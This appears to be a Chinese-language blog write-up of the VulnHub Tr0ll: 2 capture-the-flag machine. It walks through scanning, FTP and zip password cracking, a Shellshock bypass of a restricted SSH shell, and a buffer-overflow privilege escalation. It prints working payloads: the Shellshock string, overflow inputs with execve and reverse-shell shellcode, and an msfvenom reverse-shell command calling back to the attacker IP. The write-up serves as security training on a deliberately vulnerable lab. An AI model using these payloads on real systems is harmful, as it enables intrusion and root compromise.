vulnhub Tr0ll: 2

仙女象 2022-01-07 11:48:13 阅读数:750

vulnhub tr0ll tr ll

本文思路

nmap掃描---->dirb掃描發現robots---->dirb配合找到的字典爆破目錄---->訪問目錄下載圖片---->strings考察圖片,發現新目錄y0ur_self---->訪問y0ur_self目錄,獲得字典answer.txt---->弱口令登錄ftp---->用fcrackzip爆破lmao.zip密碼---->通過密鑰ssh登錄,得到noob用戶的shell---->linpeas.sh探測提權途徑---->利用緩沖區溢出漏洞提權

環境信息

靶機ip為192.168.101.33

攻擊機ip為192.168.101.34

具體步驟

步驟1:nmap掃描

sudo nmap -sS -A -p- 192.168.101.33

掃出了3個開放端口,21(ftp),22(ssh),80(http)

其實從上圖的掃描結果就可以看出來,21端口的ftp服務是不允許匿名登錄的,如果允許的話,會有提示(比如見vulnhub Tr0ll: 1_箭雨鏡屋-CSDN博客

如果不死心,可以用瀏覽器訪問一下 ftp://192.168.101.33,可以看到彈出了登錄框

步驟2:dirb掃描網站,找到robots.txt

訪問網站發現主頁還是除了這個倒黴玩意兒啥也沒有

不死心,看一下網頁源代碼,似乎有那麼一點信息,Tr0ll也許是個用戶名

只好用dirb掃描一下,期待能掃出點什麼

dirb http://192.168.101.33

掃描結果如下,掃出了robot.txt

瀏覽器訪問 http://192.168.101.33/robots 發現好多目錄

步驟3:dirb配合找到的目錄字典爆破網站目錄

把上圖中這些目錄複制粘貼到文件/home/kali/Desktop/paths中,做成目錄字典

用dirb配合該字典爆破

dirb http://192.168.101.33 /home/kali/Desktop/paths 

爆破結果如下,有4個目錄是可訪問的

步驟4:訪問目錄,琢磨圖片

這4個url每個我都訪問了一遍,每個都是這張圖

查看網頁源代碼的話,可以發現其實並不是同一張圖片,是dirb爆破出來的四個目錄每個目錄下都有一個圖片

把這4張圖片都下載下來備用

步驟5:用strings命令考察圖片,發現新目錄y0ur_self

用下面的命令查看每張圖片

strings 圖片名

其他三張都沒啥,dont.jpeg有意思,有一句用戶友好的提示

“Look Deep within y0ur_self for the answer”

既然我已經玩過tr0ll 1了,我就知道這是什麼套路了,y0ur_self保准是個目錄

步驟6:訪問y0ur_self目錄,獲得字典answer.txt

用base64命令解碼一下,生成明文字典answer2.txt

cat answer.txt | base64 --decode > answer2.txt

 

步驟7:弱口令登錄ftp

80端口似乎暫時沒啥好看的了,試試登錄ftp。雖然拿到個字典有可能包含用戶名和密碼,但是字典規模超級大,有快10萬行,能省時間的話,還是先試試省時間的方法。

步驟2中說過,網站首頁有一個信息,Tr0ll,目前為止還沒用到,這邊試試能不能用它登錄ftp。

用戶名和密碼都用Tr0ll試試,成功登錄

有一個壓縮文件lmao.zip,下載備用

步驟8:用fcrackzip爆破lmao.zip密碼

嘗試打開lmao.zip,發現需要密碼。可能密碼就在由answer.txt解碼生成的answer2.txt中。

fcrackzip是專門用來破解zip文件密碼的工具。

安裝fcrackzip

sudo apt install fcrackzip

用fcrackzip破解lmao.zip密碼(快得不得了,速度驚到我了)

fcrackzip -D -p answer2.txt lmao.zip -u

密碼是 ItCantReallyBeThisEasyRightLOL

解壓出來一個叫noob的文件,是一個PEM格式的RSA私鑰,留著備用

步驟9:通過密鑰ssh登錄,得到noob用戶的shell

既然這個私鑰文件叫noob,那合理猜測用戶名就是noob。嘗試ssh登錄

ssh -i noob [email protected]

從結果來看,用戶名和密碼應該是對了,但是連上之後立刻就被斷開了。 

像是skytower靶機的情况,和那個一樣加個-t參數試試

ssh -i noob [email protected] -t "/bin/sh"

不行了,難度增加了 

 

繞過Linux受限Shell環境的技巧 - linuxsec - 博客園

在這篇文章的高級繞過技術裏面找到幾個ssh的繞過技巧,嘗試之後發現利用shellshock繞過是可行的

ssh -i noob [email protected] -t "() { :; }; /bin/bash"

得到noob用戶的shell 

步驟10:提權途徑探測

首先在當前shell下觀察一下,查看一下.bash_history文件,發現曾經執行過好幾個操作名叫bof的文件的命令,這個有可能是在提示本關要利用bof(緩沖區溢出)進行提權。另外,下圖所示的gdb是一款linux系統下的調試器,因此下圖可能也在暗示使用gdb來調試有bof漏洞的程序。

目前還看不出來緩沖區溢出漏洞具體在哪兒,先走一遍程序,linpeas跑一遍。

攻擊機上開http服務

sudo python2 -m SimpleHTTPServer 80

靶機當前shell下用wget命令下載linpeas.sh到noob用戶有寫權限的目錄,比如/tmp或者其家目錄 

wget http://192.168.101.34/linpeas.sh

用chmod命令賦予linpeas.sh執行權限

chmod +x linpeas.sh

執行linpeas.sh之後,得到的結果中有SUID權限的文件包含下面三個奇奇怪怪的

這三個door下面的r00t文件是三個不同的可執行文件,並且一段時間之後,這三個文件的作用會輪換。

其中一個執行之後會退出ssh

一個執行之後會有2分鐘的困難模式,困難模式中不能ls

還有一個是可以被用來提權的。

為了避免進入不對的門,可以用od -S 1來查看文件中包含的可讀字符串。比如

od -S 1 /nothing_to_see_here/choose_wisely/door2/r00t

結果中沒有上兩圖的提示語,包含bof.c,可知這個就是需要利用的文件。

進一步,可以用下面的命令來確定是不是我們要找的r00t文件 

od -S 1 /nothing_to_see_here/choose_wisely/door2/r00t | grep bof

步驟11:利用緩沖區溢出漏洞提權

靶機shell中輸入如下命令,開始用gdb調試r00t

gdb /nothing_to_see_here/choose_wisely/door3/r00t

 進入gdb後,執行如下命令,其中r錶示run,該命令錶示執行r00t並以500個A作為入參

 (gdb) r $(python -c 'print "A"*500')

結果如下圖所示,0x41是A的十六進制ascii碼,說明有緩沖區溢出

接下來需要知道哪4個字節覆蓋了EIP。

首先在攻擊機上查找pattern_create.rb文件

find / -name pattern_create.rb -type f 2>/dev/null

結果如下 

執行如下命令,用pattern_create.rb生成長度為500字節的每4個字節都不一樣的字符串

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500

運行r00t,以剛剛生成的字符串作為入參 

 (gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

從結果可見,占著EIP的是 0x6a413969

用 pattern_offset.rb 來確定0x6a413969在入參中的比特置

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 500 -q 6a413969

結果是前面有268個字節 

gdb中輸入如下命令驗證以上結論。運行r00t,入參是268個A和4個B

 (gdb) r $(python -c 'print "A"*268+"B"*4')

EIP是0x42424242,0x42是B的十六進制ascii碼。因此,以上結論正確。

執行以下命令,查看寄存器的值

(gdb) i r

從下圖中可以看到ESP中的地址是0xbffffb80。

執行如下命令可以查看該地址指向的值。

(gdb) x 0xbffffb80

先後執行如下三個命令 

(gdb) r $(python -c 'print "A"*268+"B"*4+"C"*8')
(gdb) i r
(gdb) x 0xbffffb80

從結果可知, 0xbffffb80(ESP)指向的內存被字符C占了

接下來找壞字符。

某大神傳授了一個方便的工具badchars。

先用以下命令安裝badchars

pip install badchars

然後創建個軟鏈接

sudo ln -s /home/kali/.local/bin/badchars /bin/badchars 

再執行

badchars

就可以輸出從1~255的十六進制字符

用這些字符替代入參中的C 

(gdb) r $(python -c 'print "A"*268+"B"*4+"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"')

輸入

(gdb) i r

找到esp的值 

再輸入以下命令查看esp指向的值以及附近的值

(gdb) x/100xb 0xbffffa70

結果中可見從1~8是正常的,\x09的比特置變成了\x00,這錶示\x09是個壞字符。

入參中把\x09删掉,重新執行,直到找出所有壞字符。

所有壞字符包括\x00\x09\x0a\x20

接下來構造shellcode,用msfvenom生成反彈shell,LHOST是攻擊機ip,LPORT是攻擊機監聽的端口,並用-b選項去掉壞字符。

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.101.34 LPORT=2333 -b "\x00\x09\x0a\x20" -f py 

整理完shellcode之後,我就屬實不會了。因為之前看的資料是要找JMP ESP,這個靶機好像不是這麼玩的。 

看了vulnhub上好幾個writeup,給出的payload中使EIP的值為0xbffffb80,但我試了不管是我生成的shellcode,還是writeup中自帶的都不能成功。也就是說,下面這樣是成功不了的

[email protected]:~$ /nothing_to_see_here/choose_wisely/door2/r00t $(python -c 'print "A"*268+"\x80\xfb\xff\xbf"+"\x90"*16+"\xdb\xd5\xd9\x74\x24\xf4\x5a\xbe\x7b\x97\xf5\xb7\x2b\xc9\xb1\x12\x31\x72\x17\x03\x72\x17\x83\x91\x6b\x17\x42\x54\x4f\x2f\x4e\xc5\x2c\x83\xfb\xeb\x3b\xc2\x4c\x8d\xf6\x85\x3e\x08\xb9\xb9\x8d\x2a\xf0\xbc\xf4\x42\xc3\x97\x62\xb0\xab\xe5\x6c\xbd\x36\x63\x8d\x0d\x2e\x23\x1f\x3e\x1c\xc0\x16\x21\xaf\x47\x7a\xc9\x5e\x67\x08\x61\xf7\x58\xc1\x13\x6e\x2e\xfe\x81\x23\xb9\xe0\x95\xcf\x74\x62"')

我不清楚難道這是因為我用的VMware版本,而writeup作者們用的難道都是virtual box版本麼?

後來我看到一個writeup有點不一樣

Tr0ll: 2 Walkthrough - You Gotta Pay the Troll Toll

還從這個writeup裏面發現一個充滿shellcode的網站

Linux/x86 - execve /bin/sh shellcode - 23 bytes

總之,這個writeup使用了env命令(env -是env -i的縮寫),並且使EIP的值為0xbffffc80。我試了他的payload是可以成功的,直接原地提權

env - /nothing_to_see_here/choose_wisely/door3/r00t $(python -c 'print "A"*268 + "\x80\xfc\xff\xbf" + "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

後來我用這種方法又試了我自己的shellcode,也是可以成功的,得到反彈shell

[email protected]:~$ env - /nothing_to_see_here/choose_wisely/door2/r00t $(python -c 'print "A"*268+"\x80\xfc\xff\xbf"+"\x90"*16+"\xdb\xd5\xd9\x74\x24\xf4\x5a\xbe\x7b\x97\xf5\xb7\x2b\xc9\xb1\x12\x31\x72\x17\x03\x72\x17\x83\x91\x6b\x17\x42\x54\x4f\x2f\x4e\xc5\x2c\x83\xfb\xeb\x3b\xc2\x4c\x8d\xf6\x85\x3e\x08\xb9\xb9\x8d\x2a\xf0\xbc\xf4\x42\xc3\x97\x62\xb0\xab\xe5\x6c\xbd\x36\x63\x8d\x0d\x2e\x23\x1f\x3e\x1c\xc0\x16\x21\xaf\x47\x7a\xc9\x5e\x67\x08\x61\xf7\x58\xc1\x13\x6e\x2e\xfe\x81\x23\xb9\xe0\x95\xcf\x74\x62"')

不過雖然成功了,我的心中還是有大大的疑惑,我不懂怎麼就成功了。 0xbffffc80是怎麼來的呢?

他先用env - gdb ./r00t進入調試,然後清除了當前環境變量,再

(gdb) run $(python -c 'print "A"*268 + "BBBB" + "\x90"*16 + "C"*100')

此時ESP的值便是0xbffffc80

可是為什麼是100個C呢,不明白!!!

而且我的環境上如果清楚環境變量就不是0xbffffc80了,不清除反而是0xbffffc80。

我也試了其他的地址,都不能成功。

啊,真奇怪,希望以後能完全弄明白。

版权声明:本文为[仙女象]所创,转载请带上原文链接,感谢。 https://gsmany.com/2022/01/202201071148132171.html